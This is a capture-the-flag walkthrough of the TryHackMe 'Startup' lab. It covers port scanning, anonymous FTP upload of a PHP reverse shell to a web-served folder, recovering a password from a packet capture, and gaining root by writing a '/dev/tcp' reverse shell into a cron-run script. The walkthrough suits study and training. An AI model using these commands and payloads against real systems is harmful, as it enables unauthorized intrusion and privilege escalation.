

Startup (Easy)

Nmap

```
sudo nmap -sV -sC -Pn -vv -T4 -oN nmap.txt 10.10.174.132
```

```
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 63  vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.8.91.8
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 4
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534          4096 Nov 12  2020 ftp [NSE:
writeable]
| -rw-r--r--    1 0        0              251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0              208 Nov 12  2020 notice.txt
22/tcp    open  ssh      syn-ack ttl 63  OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu
Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQDAzds8QxN5Q2TsERsJ98huSiuasmToUDi9JYWVegfTMV4F
n7t6/2ENm/9uYbLUv+pLBnYeGo3XQGV23foZIIVMlLaC6uLYwuDOxy6KtHauVmlPRvYQd77xSCUq
cM1ov9d00Y2y5eb7S6E7zIQCGFhm/jj5ui6bcr6wAIYtftpJ8UXnLHg5f/mJgwwAteQoUtxVgQWPs
mfcMwvhreJ0/BF0kZJqi6uJUfOZH0Um4woJ15UYioryT6ZiW/ORL6l/LXy2RlhySNWi6P9y8UXrg
KdViILNCun7Cz80Cfc16za/8cdlthD1czxm4m5hSVwYYQK3C7mDZ0/jung0/AJzl48X1
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOKJ0cuq3nTYxoHLMcS3xvNi
sI5sKawbZHHaamhgDZTM989wIUonhYU19Jty5+fUoJKbaPIEBEMmA32XhHy+Y+E=
|   256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
|_ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIPnFr/4W5WTyh9XBSykso6eS06tE0Aio3gWM8Zdsckwo
80/tcp    open  http     syn-ack ttl 63  Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
```

```
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

FTP

I connect to FTP as the user `anonymous` and with no password.

```
➥$ ftp 10.10.174.132
Connected to 10.10.174.132.
220 (vsFTPD 3.0.3)
Name (10.10.174.132:zerodol): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||7746|)
150 Here comes the directory listing.
drwxrwxrwx  2 65534  65534  4096 Nov 12  2020 ftp
-rw-r--r--   1  0      0      251631 Nov 12  2020 important.jpg
-rw-r--r--   1  0      0      208 Nov 12  2020 notice.txt
226 Directory send OK.
ftp> get notice.txt
local: notice.txt remote: notice.txt
229 Entering Extended Passive Mode (|||29654|)
150 Opening BINARY mode data connection for notice.txt (208 bytes).
100% |*****| 208          3.67 MiB/s   00:00 ETA
226 Transfer complete.
208 bytes received in 00:00 (0.81 KiB/s)
ftp> get important.jpg
local: important.jpg remote: important.jpg
229 Entering Extended Passive Mode (|||64891|)
150 Opening BINARY mode data connection for important.jpg (251631 bytes).
  0% |*****| 0          0.00 KiB/s   --:-- ETAC
100% |*****| 245 KiB  249.79 KiB/s   00:00 ETA
ft226 Transfer complete.
251631 bytes received in 00:01 (200.97 KiB/s)
```

I downloaded this files but nothing came out of it. But i found something interesting with the `ftp` folder. We have all the rights on it.

Web Enumeration

```
feroxbuster -u http://10.10.174.132/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
```

```
FERRIC OXIDE
by Ben "epi" Risher ☺ ver: 2.11.0

Target Url      http://10.10.174.132/
Threads         50
Wordlist         /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Status Codes    All Status Codes!
Timeout (secs)  7
User-Agent       feroxbuster/2.11.0
Config File     /etc/feroxbuster/ferox-config.toml
Extract Links   true
HTTP methods    [GET]
Recursion Depth 4





Press [ENTER] to use the Scan Management Menu™

403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 20l 113w 808c http://10.10.174.132/
301 GET 9l 28w 314c http://10.10.174.132/files => http://10.10.174.132/files/
200 GET 1l 40w 208c http://10.10.174.132/files/notice.txt
200 GET 728l 5285w 461820c http://10.10.174.132/files/important.jpg
[#####>] - 84s 16310/30005 68s found:4 errors:2
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_10_174_132_-1728755842.state ...
[#####>] - 84s 16333/30005 68s found:4 errors:2
[#####>] - 84s 16316/30000 194/s http://10.10.174.132/
[#####>] - 2s 30000/30000 18904/s http://10.10.174.132/files/ => Directory listing (add --scan-dir-listings to scan)
[#####>] - 0s 30000/30000 63291/s http://10.10.174.132/files/ftp/ => Directory listing (add --scan-dir-listings to scan)
[#####>] - 0s 0/30000 - http://10.10.174.132/files/notice.txt
```

I found an interesting page

I go to the <http://10.10.174.132/files/> page

Index of /files

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 ftp/	2020-11-12 04:53	-	
 important.jpg	2020-11-12 04:02	246K	
 notice.txt	2020-11-12 04:53	208	

Apache/2.4.18 (Ubuntu) Server at 10.10.174.132 Port 80


I upload a php reverse shell. I upload the reverse shell from [pentestMonkey](#)
(<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php> ↗)

```
ftp> cd ftp
250 Directory successfully changed.
ftp> clear
?Invalid command.
ftp> ls
229 Entering Extended Passive Mode (|||17062|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||47161|)
150 Ok to send data.
100% |*****
226 Transfer complete.
5491 bytes sent in 00:00 (11.30 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||21422|)
150 Here comes the directory listing.
-rwxrwxr-x    1 112      118      5491 Oct 12 18:03 shell.php
226 Directory send OK.
ftp> █
```

Foothold

On the `http://10.10.174.132/files/ftp` page our shell.php got uploaded

Index of /files/ftp

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 shell.php	2024-10-12 18:03	5.4K	

Apache/2.4.18 (Ubuntu) Server at 10.10.174.132 Port 80

We listen to the `9001` port with `netcat` and we are connected as `www-data`

```
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.174.132] 42282
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
18:04:50 up 29 min, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

I stabilize my shell with python3

```
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@startup:/$ ^Z
zsh: suspended nc -lnvp 9001

(zero dol@master)-[~/tryhackme/easy/startup]
$ stty -echo raw;fg
[1] + continued nc -lnvp 9001

www-data@startup:/$ export TERM=xterm
www-data@startup:/$
```

The answer to the first question is in the `/recipe.txt` file

```
www-data@startup:/$ ls
bin    home    lib      mnt      root    srv     vagrant
boot  incidents  lib64    opt      run     sys     var
dev    initrd.img  lost+found  proc    sbin    tmp     vmlinuz
etc    initrd.img.old  media    recipe.txt  snap    usr     vmlinuz.old
www-data@startup:/$ cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.
www-data@startup:/$
```

Lennie's password

We have a file on the `/incidents` folder

```
www-data@startup:/incidents$ ls -la
total 40
drwxr-xr-x  2 www-data www-data  4096 Nov 12  2020 .
drwxr-xr-x 25 root      root      4096 Oct 12 17:35 ..
-rwxr-xr-x  1 www-data www-data 31224 Nov 12  2020 suspicious.pcapng
www-data@startup:/incidents$
```

I downloaded it to my machine and opened it with `wireshark`

At `tcp.stream eq 7`

```
lennie
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
sudo: 3 incorrect password attempts
www-data@startup:/home$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
```

There is password here.

I think it's the password of the user `lennie`

```
www-data@startup:/incidents$ su lennie
Password:
lennie@startup:/incidents$ id
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)
lennie@startup:/incidents$
```

And boom we're connected as lennie

```
lennie@startup:/incidents$ cd
lennie@startup:~$ ls
Documents  scripts  user.txt
lennie@startup:~$ cat user.txt
lennie@startup:~$
```

Privilege Escalation

In the `/home/lennie/scripts` folder we have two files `planer.sh` and `startup_list.txt`

```
lennie@startup:~/scripts$ ls -la
total 16
drwxr-xr-x 2 root  root  4096 Nov 12  2020 .
drwx----- 4 lennie lennie 4096 Oct 12 18:15 ..
-rwxr-xr-x 1 root  root    77 Nov 12  2020 planner.sh
-rw-r--r-- 1 root  root     1 Oct 12 18:37 startup_list.txt
lennie@startup:~/scripts$ ls -la
total 16
drwxr-xr-x 2 root  root  4096 Nov 12  2020 .
drwx----- 4 lennie lennie 4096 Oct 12 18:15 ..
-rwxr-xr-x 1 root  root    77 Nov 12  2020 planner.sh
-rw-r--r-- 1 root  root     1 Oct 12 18:38 startup_list.txt
lennie@startup:~/scripts$
```

We can see that there is an update of the files every one minute

First `planer.sh` executed as `root` prints and redirects the content of the `LIST` variable.

Then it executes the file then it executes the file `/etc/print.sh`

```
lennie@startup:~/scripts$ cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
```

The `print.sh` file shows 'well done'

```
lennie@startup:~/scripts$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$ ls -l /etc/print.sh
-rwx----- 1 lennie lennie 25 Nov 12  2020 /etc/print.sh
lennie@startup:~/scripts$
```

I put my reverse shell in the `/etc/print.sh` file.

```
#!/bin/bash
bash -i >& /dev/tcp/10.8.91.8/4444 0>&1
~
~
~
```

```

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.174.132] 57840
bash: cannot set terminal process group (2063): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@startup:~# █

```

```
root@startup:~# ls
ls
root.txt
root@startup:~# cat root.txt
cat root.txt
root@startup:~#
```